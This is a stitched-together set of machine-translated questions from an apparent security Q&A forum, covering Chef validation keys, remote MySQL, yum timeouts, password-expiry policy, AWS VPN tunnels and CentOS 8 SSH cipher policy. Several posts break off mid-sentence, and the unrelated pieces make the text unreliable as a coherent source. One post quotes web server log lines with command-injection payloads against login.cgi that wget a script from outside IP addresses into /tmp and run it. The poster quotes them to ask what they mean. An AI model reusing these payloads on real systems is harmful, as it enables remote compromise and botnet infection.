在我看来，将客户端添加到厨师服务器的推荐方法 - 或者我对它的理解 - 是有缺陷的。
来自文档：
当厨师客户端运行时，它会检查是否有客户端密钥。如果客户端密钥不存在，则它会尝试“借用”验证客户端的身份以向服务器注册自己。为此，需要将验证客户端的私钥复制到主机并放置在 /etc/chef/validation.pem 中。
那么“验证密钥”基本上就是超级用户凭证，允许拥有它的任何人完全访问厨师服务器？我读得对吗？
当然，正确的模型是客户端生成自己的密钥对，并将公钥提交给厨师服务器。客户端永远不需要访问此超级用户“验证密钥”。
我怎样才能以这种更安全的方式做到这一点？
假设我在地球另一端的某个地方有一台带有 SQL 数据库的服务器。通过 Internet 建立连接是否安全？例如使用 MySQL Workbench。
我之所以这么问是因为我听说与服务器的连接，尤其是使用上述软件的连接，默认情况下是未加密的。如果我对每个远程连接都强制使用 SSL，还会存在哪些风险？开放的 MySQL 端口本身是否存在安全风险？
过去几天我一直在处理这个错误。当我执行“yum update”或基本上任何“yum”命令时，它会超时并花费很长时间或基本上停止它。我去谷歌上的每个人都找到了解决方案，但没有任何帮助。这是我的设置：
VMware ESXI 6.5 主机 这是一个运行在 OVH 网络上的 CentOS 7 虚拟机。
这是我进行 yum 更新时它给我的信息...
Total download size: 100 M
Is this ok [y/d/N]: y
Downloading packages:
Delta RPMs disabled because /usr/bin/applydeltarpm not installed.
warning: /var/cache/yum/x86_64/7/updates/packages/NetworkManager-libnm-1.4.0-20.el7_3.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
Public key for NetworkManager-libnm-1.4.0-20.el7_3.x86_64.rpm is not installed
(1/71): NetworkManager-libnm-1.4.0-20.el7_3.x86_64.rpm | 443 kB 00:00
(2/71): NetworkManager-team-1.4.0-20.el7_3.x86_64.rpm | 147 kB 00:00
NetworkManager-tui-1.4.0-20.el FAILED
http://centos.mirror.iweb.ca/7.3.1611/updates/x86_64/Packages/NetworkManager-tui-1.4.0-20.el7_3.x86_64.rpm: [Errno 14] curl#7 - "Failed to connect to 2607:f748:10:12:0:ce17:705:1: Network is unreachable"
Trying other …问题
我经常与我的首席技术官进行辩论，通常是这样开始的……
CTO: My password expired, that should never happen.
Me : It's a security risk to never expire passwords.
CTO: It's a security risk to force passwords to be reset because users have bad habits.
Me : Yes but the security is in the user not the system, enforcing password expiry ensures the system is secure in the event of an unknown breach of the userbase.
这就提出了一个有趣的问题，我们俩主要不是系统管理员，而是我们需要为此应用策略的职位，但对于正确答案应该是什么并没有真正达成一致。
我的立场
如果您强制所有用户在 X 时间内更改密码，其中 X 是通过确定用于保护密码的算法强度以及（使用暴力）将原始值恢复为原始值的估计时间来计算的，则系统会更安全。原始密码。
CTO 的地位
强迫用户始终更改密码的行为会导致模式/****123 随着时间的推移“喜欢”模式或用户写下密码，这意味着用户的“坏习惯”对系统的风险比数据更大以某种更技术性的方式（例如通过暴力破解）受到损害。
所以我想知道
有什么方法可以证明无论天气如何，我们都应该根据一些行业最佳实践强制执行密码重置策略吗？ …
我有一台云服务器只托管一个网站（django + gunicorn + nginx），postgres 数据库将部署到另一台云服务器。
在这种情况下，我应该为我的网站创建特殊用户吗？似乎使用 root 更容易，并且它会带来更多的安全风险，但如果我只在那里托管一个应用程序，则不会太多？
我正在构建一个新服务器Apache，实际上我正在学习，所以我正在尝试不同的东西。我的安全系统已经完成，但当然我可能会遗漏一些东西，或者，如果没有，我明白今天没有任何系统可以 100% 保护我。那么，为什么我认为有人尝试过我，只是因为我在日志中收到了以下信息：
1.53.11.43 - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://148.72.176.78/ngynx%20-O%20-%3E%20/tmp/ngynx;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0"
41.47.195.103 - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 566
还有更多。我知道有人收到错误 400，这对我来说还不错。所以，实际上我的问题不是他们是否尝试我，因为我认为是，因为这似乎不是对我网站的正常请求。我想得到这个请求的解释来理解和学习。他们实际上想做什么，找到我的登录系统并将其发送给某个人？
PS我已经知道wget你可以下载一些网站，我还发现这login.cgi是一个基于cookie的身份验证程序。
谢谢！
AWS 文档中描述，站点到站点 VPN 涉及在 AWS 中的虚拟私有网关和本地客户网关之间创建两个隧道。（参见https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html）
这两条隧道意味着在 AWS 端为每个隧道分配了两个公共 IP 地址。我的问题是：我如何在 AWS 端设置这个 IP 地址的防火墙，以便它们只允许来自本地 IP 范围的流量？
似乎网络 ACL 和安全组对此都没有用，因为两者都在 VPN 内部运行，此时我们已经通过了 VPN 网关。
那么，我如何才能对隧道公共 IP 实施安全保护？他们不是对攻击者开放以尝试猜测凭据并建立自己的隧道吗？（我知道这将包括蛮力的秘密，但仍然听起来似乎有道理）。
这是必要的吗？或者是否有其他安全层已经解决了这个问题而我没有看到它？
我在一家非营利组织工作，我们需要升级新服务器和 DC 周围的物理安全。我们无法确保整个房间的安全，也无法购买合适的服务器机架。解决方法是将设备放在一个三边都有墙的角落里，我们将使用某种带锁的安全门。然而，我正在努力寻找任何足以作为带锁安全门的东西。我在这里寻求有关该主题的资源和知识。如果这里有人了解负担得起的、非标准的、物理安全选项。
我正在寻找一种方法来审核本地网络服务器的用户root（命令）的密码更改历史记录。passwd
我如何通过 IP 地址查看执行此命令的日期和/或时间？
我试图禁用 CentOS 8 上 OpenSSH 服务器中使用的 AES256-CBC 密码，同时将安全策略设置为“未来”。
根据本页的表格（请参阅“在加密策略级别中启用的密码套件和协议”），未来的加密策略似乎不应启用 CBC 模式密码（请参阅与“未来”和“CBC 模式密码”）。
我运行此命令将我的 CentOS 8 系统从默认更改为未来：
sudo update-crypto-policies --set FUTURE
随后重新启动：
sudo reboot
然而，Nessus 扫描显示 SSH 服务支持“aes256-cbc”算法。此输出对应于Nessus插件。
经过一番调查，服务（和客户端）的未来安全策略文件似乎确实包含“aes256-cbc”：
$ grep aes256-cbc /usr/share/crypto-policies/FUTURE/openssh*.txt
/usr/share/crypto-policies/FUTURE/opensshserver.txt:CRYPTO_POLICY='-oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc -oMACs=umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512 -oGSSAPIKeyExchange=no -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512 -oHostKeyAlgorithms=rsa-sha2-256,ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,rsa-sha2-512,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=rsa-sha2-256,ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,rsa-sha2-512,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com'
/usr/share/crypto-policies/FUTURE/openssh.txt:Ciphers aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc
我可以使 SSH 选择退出全局安全策略（并Ciphers手动在 sshd_config 中设置）或手动编辑 /usr/share/crypto-policies/FUTURE/openssh*.txt 文件以排除 CBC，但我不喜欢其中任何一个的想法。
这是否可能是 Centos 8 安全策略配置中的一个错误，或者是否有某种方法可以在不手动指定密码列表的情况下禁用 CBC？